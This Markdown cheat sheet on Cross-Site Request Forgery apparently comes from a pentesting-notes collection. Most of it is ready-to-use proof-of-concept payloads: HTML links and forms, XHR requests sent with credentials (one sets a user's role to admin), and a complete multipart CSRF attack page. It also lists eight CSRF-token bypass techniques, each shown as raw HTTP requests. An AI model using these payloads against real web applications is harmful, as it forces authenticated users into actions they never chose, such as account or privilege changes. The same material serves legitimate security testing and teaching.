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218 lines
5.2 KiB
Markdown
218 lines
5.2 KiB
Markdown
# Cross Site Request Forgery (CSRF)
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## Introduction
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Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated
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## Where to find
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Usually found in forms. Try submit the form and check the HTTP request. If the HTTP request does not have a CSRF token then it is likely to be vulnerable to a CSRF attack.
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## How to exploit
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1. HTML GET Method
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```html
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<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>
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```
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2. HTML POST Method
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```html
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<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
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<input name="username" type="hidden" value="uname" />
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<input type="submit" value="Submit Request" />
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</form>
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```
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3. JSON GET Method
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```html
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<script>
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var xhr = new XMLHttpRequest();
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xhr.open("GET", "http://www.example.com/api/currentuser");
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xhr.send();
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</script>
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```
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4. JSON POST Method
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```html
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<script>
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var xhr = new XMLHttpRequest();
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xhr.open("POST", "http://www.example.com/api/setrole");
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xhr.withCredentials = true;
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xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
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xhr.send('{"role":admin}');
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</script>
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```
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5. Multipart request
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```html
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<head>
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<title>Multipart CSRF PoC</title>
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</head>
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<body>
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<br>
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<hr>
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<h2>Click Submit request</h2><br>
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<script>
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function submitRequest()
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{
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var xhr = new XMLHttpRequest();
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xhr.open("POST", "https://example/api/users", true);
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xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
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xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
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xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------149631704917378");
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xhr.withCredentials = true;
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var body = "-----------------------------149631704917378\r\n" +
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"Content-Disposition: form-data; name=\"action\"\r\n" +
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"\r\n" +
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"update\r\n" +
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"-----------------------------149631704917378\r\n" +
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"Content-Disposition: form-data; name=\"user_id\"\r\n" +
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"\r\n" +
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"1\r\n" +
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"-----------------------------149631704917378\r\n" +
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"Content-Disposition: form-data; name=\"uname\"\r\n" +
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"\r\n" +
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"daffainfo\r\n" +
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"-----------------------------149631704917378\r\n" +
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"Content-Disposition: form-data; name=\"first_name\"\r\n" +
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"\r\n" +
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"m\r\n" +
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"-----------------------------149631704917378\r\n" +
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"Content-Disposition: form-data; name=\"last_name\"\r\n" +
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"\r\n" +
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"daffa\r\n" +
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"-----------------------------149631704917378--\r\n";
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var aBody = new Uint8Array(body.length);
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for (var i = 0; i < aBody.length; i++)
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aBody[i] = body.charCodeAt(i);
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xhr.send(new Blob([aBody]));
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}
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</script>
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<form action="#">
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<input type="button" value="Submit request" onclick="submitRequest();" />
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</form>
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<br>
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</body>
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```
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# Bypass CSRF Token
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But in some cases, even though there is a CSRF token on the form on the website. CSRF tokens can still be bypassed by doing a few things:
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1. Change single character
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
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```
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2. Sending empty value of token
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=
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```
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3. Replace the token with same length
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=aaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=aaabaa
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```
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4. Changing POST / GET method
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
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Host: target.com
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...
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```
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5. Remove the token from request
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456
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```
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6. Use another user's valid token
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
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```
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7. Try to decrypt hash
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=MTIzNDU2
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```
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MTIzNDU2 => 123456 with base64
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8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=vi802jg9f8akd9j123
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```
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When we register again, the request like this
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```
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POST /register HTTP/1.1
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Host: target.com
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...
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username=dapos&password=123456&token=vi802jg9f8akd9j124
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```
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If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part
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